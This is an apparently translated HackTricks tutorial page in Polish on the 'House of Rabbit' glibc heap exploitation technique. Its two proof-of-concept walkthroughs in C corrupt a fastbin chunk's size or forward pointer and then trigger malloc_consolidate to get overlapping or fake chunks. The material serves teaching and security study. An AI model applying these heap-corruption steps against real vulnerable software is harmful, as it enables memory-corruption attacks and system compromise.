4.7 KiB
Dom Królika
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Wymagania
- Zdolność do Modyfikacji Wskaźnika fd lub Rozmiaru Fastbin: Oznacza to, że możesz zmienić wskaźnik do przodu fragmentu w fastbin lub jego rozmiar.
- Zdolność do Wywołania
malloc_consolidate
: Można to zrobić poprzez przydzielenie dużego fragmentu lub scalenie fragmentu górnego, co zmusza stertę do konsolidacji fragmentów.
Cele
- Utworzenie Nakładających się Fragmentów: Aby jeden fragment nakładał się na drugi, umożliwiając dalsze manipulacje stertą.
- Podrobienie Fałszywych Fragmentów: Aby oszukać alokator, aby traktował fałszywy fragment jako prawidłowy fragment podczas operacji na stercie.
Kroki Ataku
POC 1: Modyfikacja Rozmiaru Fragmentu Fastbin
Cel: Utworzenie nakładającego się fragmentu poprzez manipulację rozmiarem fragmentu fastbin.
- Krok 1: Alokacja Fragmentów
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
- Krok 2: Zwolnij bloki
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
- Krok 3: Zmiana Rozmiaru Kawałka
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
- Krok 4: Wywołaj
malloc_consolidate
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
Przydzielanie dużej porcji wywołuje funkcję malloc_consolidate
, łącząc małe porcje w fastbin. Zmanipulowany rozmiar chunk1
powoduje nakładanie się na chunk2
.
Po konsolidacji, chunk1
nakłada się na chunk2
, umożliwiając dalsze wykorzystanie.
POC 2: Zmodyfikuj wskaźnik FD
Cel: Stwórz fałszywą porcję, manipulując wskaźnikiem fd fastbin.
- Krok 1: Przydziel porcje
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
Wyjaśnienie: Alokujemy dwa fragmenty, jeden mniejszy i jeden większy, aby przygotować stertę do fałszywego fragmentu.
- Krok 2: Utwórz Fałszywy Fragment
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
- Krok 3: Zwolnij Chunk1
free(chunk1); // Frees the chunk at 0x602000
Wyjaśnienie: Zwolniamy chunk1
, dodając go do listy fastbin.
- Krok 4: Zmodyfikuj FD Chunk1
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
Wyjaśnienie: Zmieniamy wskaźnik w przód (fd) chunk1
, aby wskazywał na nasz fałszywy kawałek wewnątrz chunk2
.
- Krok 5: Wywołaj
malloc_consolidate
malloc(5000); // Allocate a large chunk to trigger heap consolidation
Alokowanie ponownie dużej porcji powoduje wywołanie malloc_consolidate
, które przetwarza fałszywy kawałek.
Fałszywy kawałek staje się częścią listy fastbin, co czyni go prawidłowym kawałkiem do dalszego wykorzystania.
Podsumowanie
Technika House of Rabbit polega na zmodyfikowaniu rozmiaru kawałka fastbin w celu stworzenia nakładających się kawałków lub manipulacji wskaźnikiem fd w celu stworzenia fałszywych kawałków. Pozwala to atakującym na tworzenie prawidłowych kawałków na stercie, umożliwiając różne formy eksploatacji. Zrozumienie i praktykowanie tych kroków poprawi Twoje umiejętności eksploatacji sterty.